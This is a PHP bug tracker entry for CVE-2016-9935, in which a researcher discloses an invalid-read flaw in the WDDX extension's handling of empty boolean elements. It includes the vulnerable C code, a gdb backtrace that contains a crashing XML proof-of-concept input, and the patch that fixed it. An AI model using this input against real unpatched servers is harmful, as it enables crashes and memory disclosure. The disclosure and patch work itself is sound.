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Sec Bug #73631 Invalid read when wddx decodes empty boolean element
Submitted: 2016-12-01 03:52 UTC Modified: 2016-12-13 11:51 UTC
From: bughunter at fosec dot vn Assigned: stas
Status: Closed Package: WDDX related
PHP Version: 5.6.28 OS: Linux
Private report: No CVE-ID: 2016-9935
 [2016-12-01 03:52 UTC] bughunter at fosec dot vn
I have found some vulnerable code in wddx extension. The trouble happens when trying to process 'boolean' tag. If I open '<boolean>' tag without data, new st_entry item WILL NOT be pushed into stack. When '<boolean>' tag is closed and stack->top is greater than 1, st_entry item at top of stack WILL be popped out of stack.

Look at following snip code, a new st_entry will be pushed into stack if 'atts' is not NULL. If I open <boolean> tag by using '<boolean/>', 'atts' is NULL.

static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
	} else if (!strcmp((char *)name, EL_BOOLEAN)) {
		int i;

		if (atts) for (i = 0; atts[i]; i++) {
			if (!strcmp((char *)atts[i], EL_VALUE) && atts[i+1] && atts[i+1][0]) {
				ent.type = ST_BOOLEAN;

				wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st_entry));
				php_wddx_process_data(user_data, atts[i+1], strlen((char *)atts[i+1]));

Look at the other snip code, I see "boolean" tag is popped and freed without checking anything:

static void php_wddx_pop_element(void *user_data, const XML_Char *name)
	st_entry 			*ent1, *ent2;
	wddx_stack 			*stack = (wddx_stack *)user_data;

	if (!strcmp((char *)name, EL_STRING) || !strcmp((char *)name, EL_NUMBER) ||
		!strcmp((char *)name, EL_BOOLEAN) || !strcmp((char *)name, EL_NULL) ||
	  	!strcmp((char *)name, EL_ARRAY) || !strcmp((char *)name, EL_STRUCT) ||
		!strcmp((char *)name, EL_RECORDSET) || !strcmp((char *)name, EL_BINARY) ||
		!strcmp((char *)name, EL_DATETIME)) {
		wddx_stack_top(stack, (void**)&ent1);


		if (stack->top > 1) {
			wddx_stack_top(stack, (void**)&ent2);
		} else {
			stack->done = 1;

I have written a small test script to demostrate this issue:
$xml = <<<EOF
<?xml version="1.0" ?>
<wddxPacket version="1.0">
$wddx = wddx_deserialize($xml);

When processing 'binary' tag, a 'st_entry' which describes 'binary' tag is pushed to stack. '<boolean/>' will lead to st_entry of 'binary' tag is popped out. When processing '</binary>', php_wddx_pop_element() function is called. 'php_wddx_pop_element' will take top of stack and use it as a string object, try to decode it. We can use this issue to read anything at anywhere. If this value is not a valid memory address, it will lead to memory corruption.

Below backtrace of gdb will give you details.

   0x82cf418 <php_wddx_pop_element+440>:        mov    eax,DWORD PTR [ebx]
=> 0x82cf41a <php_wddx_pop_element+442>:        mov    edx,DWORD PTR [eax+0xc]
   0x82cf41d <php_wddx_pop_element+445>:        add    eax,0x10
   0x82cf420 <php_wddx_pop_element+448>:        mov    DWORD PTR [esp],eax
   0x82cf423 <php_wddx_pop_element+451>:        mov    DWORD PTR [esp+0x4],edx
   0x82cf427 <php_wddx_pop_element+455>:        call   0x82702f0 <php_base64_decode>
0000| 0xbfffbce0 --> 0x89b92d4 ("boolean")
0004| 0xbfffbce4 --> 0xb7870080 --> 0x0
0008| 0xbfffbce8 --> 0x89b8568 --> 0x8931938 --> 0x0
0012| 0xbfffbcec --> 0xb7c66458 (<__GI___libc_malloc+8>:        add    ebx,0x140ba8)
0016| 0xbfffbcf0 --> 0xb7f1e000 --> 0x15adac
0020| 0xbfffbcf4 --> 0xb7d371bf (<__memcpy_ssse3_rep+31>:       add    ebx,0x31501)
0024| 0xbfffbcf8 --> 0xb7f1e000 --> 0x15adac
0028| 0xbfffbcfc --> 0xb7e6409b (<xmlStrndup__internal_alias+75>:       mov    eax,edi)
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
php_wddx_pop_element (user_data=0xbfffbf6c, name=<optimized out>) at /root/fuzzer/PHP-7.1/ext/wddx/wddx.c:905
905                             zend_string *new_str = php_base64_decode(
gdb-peda$ bt
#0  php_wddx_pop_element (user_data=0xbfffbf6c, name=<optimized out>) at /root/fuzzer/PHP-7.1/ext/wddx/wddx.c:905
#1  0x082d602b in _end_element_handler (user=0xb7870080, name=0x89b92cd "binary") at /root/fuzzer/PHP-7.1/ext/xml/compat.c:219
#2  0xb7df9302 in xmlParseEndTag1 (ctxt=ctxt@entry=0x89b8568, line=line@entry=0x0) at parser.c:8796
#3  0xb7e01c89 in xmlParseTryOrFinish (ctxt=ctxt@entry=0x89b8568, terminate=terminate@entry=0x1) at parser.c:11743
#4  0xb7e02da3 in xmlParseChunk__internal_alias (ctxt=0x89b8568,
    chunk=chunk@entry=0xb78661f0 "<?xml version=\"1.0\" ?>\r\n<wddxPacket version=\"1.0\">\r\n<number>2261634.5098039215</number>\r\n<binary><boolean/></binary>\r\n</wddxPacket>", size=size@entry=0x83,
    terminate=terminate@entry=0x1) at parser.c:12446
#5  0x082d6336 in php_XML_Parse (parser=parser@entry=0xb7870080,
    data=data@entry=0xb78661f0 "<?xml version=\"1.0\" ?>\r\n<wddxPacket version=\"1.0\">\r\n<number>2261634.5098039215</number>\r\n<binary><boolean/></binary>\r\n</wddxPacket>", data_len=data_len@entry=0x83,
    is_final=is_final@entry=0x1) at /root/fuzzer/PHP-7.1/ext/xml/compat.c:600
#6  0x082d1904 in php_wddx_deserialize_ex (
    value=value@entry=0xb78661f0 "<?xml version=\"1.0\" ?>\r\n<wddxPacket version=\"1.0\">\r\n<number>2261634.5098039215</number>\r\n<binary><boolean/></binary>\r\n</wddxPacket>", vallen=0x83,
    return_value=return_value@entry=0xb7814080) at /root/fuzzer/PHP-7.1/ext/wddx/wddx.c:1095
#7  0x082d1ba7 in zif_wddx_deserialize (execute_data=0xb78140b0, return_value=0xb7814080) at /root/fuzzer/PHP-7.1/ext/wddx/wddx.c:1313
#8  0x0838b6c6 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER () at /root/fuzzer/PHP-7.1/Zend/zend_vm_execute.h:675
#9  0x0837c322 in execute_ex (ex=0xb7814020) at /root/fuzzer/PHP-7.1/Zend/zend_vm_execute.h:429
#10 0x083cb3bb in zend_execute (op_array=op_array@entry=0xb7865180, return_value=return_value@entry=0x0) at /root/fuzzer/PHP-7.1/Zend/zend_vm_execute.h:474
#11 0x0833bb40 in zend_execute_scripts (type=type@entry=0x8, retval=retval@entry=0x0, file_count=file_count@entry=0x3) at /root/fuzzer/PHP-7.1/Zend/zend.c:1474
#12 0x082dd0cb in php_execute_script (primary_file=primary_file@entry=0xbfffe2b8) at /root/fuzzer/PHP-7.1/main/main.c:2533
#13 0x083cd70a in do_cli (argc=argc@entry=0x3, argv=argv@entry=0x88eca80) at /root/fuzzer/PHP-7.1/sapi/cli/php_cli.c:990
#14 0x0806d544 in main (argc=0x3, argv=0x88eca80) at /root/fuzzer/PHP-7.1/sapi/cli/php_cli.c:1378
#15 0xb7c07943 in __libc_start_main (main=0x806d070 <main>, argc=0x3, ubp_av=0xbffff564, init=0x83d5260 <__libc_csu_init>, fini=0x83d52d0 <__libc_csu_fini>, rtld_fini=0xb7fee700 <_dl_fini>,
    stack_end=0xbffff55c) at libc-start.c:274
#16 0x0806d5d1 in _start ()
gdb-peda$ i r $eax
eax            0x41414141       0x41414141

Test script:
$xml = <<<EOF
<?xml version="1.0" ?>
<wddxPacket version="1.0">
$wddx = wddx_deserialize($xml);

Expected result:


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 [2016-12-01 03:55 UTC] bughunter at fosec dot vn
Patch to fix this issue:

diff --git a/ext/wddx/wddx.c b/ext/wddx/wddx.c
index f3d72dd..275bd73 100644
--- a/ext/wddx/wddx.c
+++ b/ext/wddx/wddx.c
@@ -773,6 +773,12 @@ static void php_wddx_push_element(void *user_data, const XML_Char *name, const X
+		else {
+			ent.type = ST_BOOLEAN;
+			wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st_entry));
+		}
 	} else if (!strcmp((char *)name, EL_NULL)) {
 		ent.type = ST_NULL;
 [2016-12-06 05:21 UTC]
-PHP Version: 7.1Git-2016-12-01 (Git) +PHP Version: 5.6.28
 [2016-12-06 05:21 UTC]
The patch doesn't work for me, still segfaults.
 [2016-12-06 05:30 UTC]
Ignore that, I applied patch incorrectly. It works.
 [2016-12-06 05:42 UTC]
-Summary: Memory leak due to invalid wddx stack processing +Summary: Invalid read when wddx decodes empty boolean element
 [2016-12-06 05:42 UTC]
-Assigned To: +Assigned To: stas
 [2016-12-06 05:59 UTC]
-CVE-ID: +CVE-ID: needed
 [2016-12-06 06:00 UTC]
-Status: Assigned +Status: Closed -Type: Security +Type: Bug
 [2016-12-06 06:00 UTC]
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at

 For Windows:
Thank you for the report, and for helping us make PHP better.

 [2016-12-06 06:00 UTC]
-Type: Bug +Type: Security
 [2016-12-08 06:07 UTC]
Automatic comment on behalf of stas
Log: Fix bug #73631 - Invalid read when wddx decodes empty boolean element
 [2016-12-13 11:51 UTC]
-CVE-ID: needed +CVE-ID: 2016-9935
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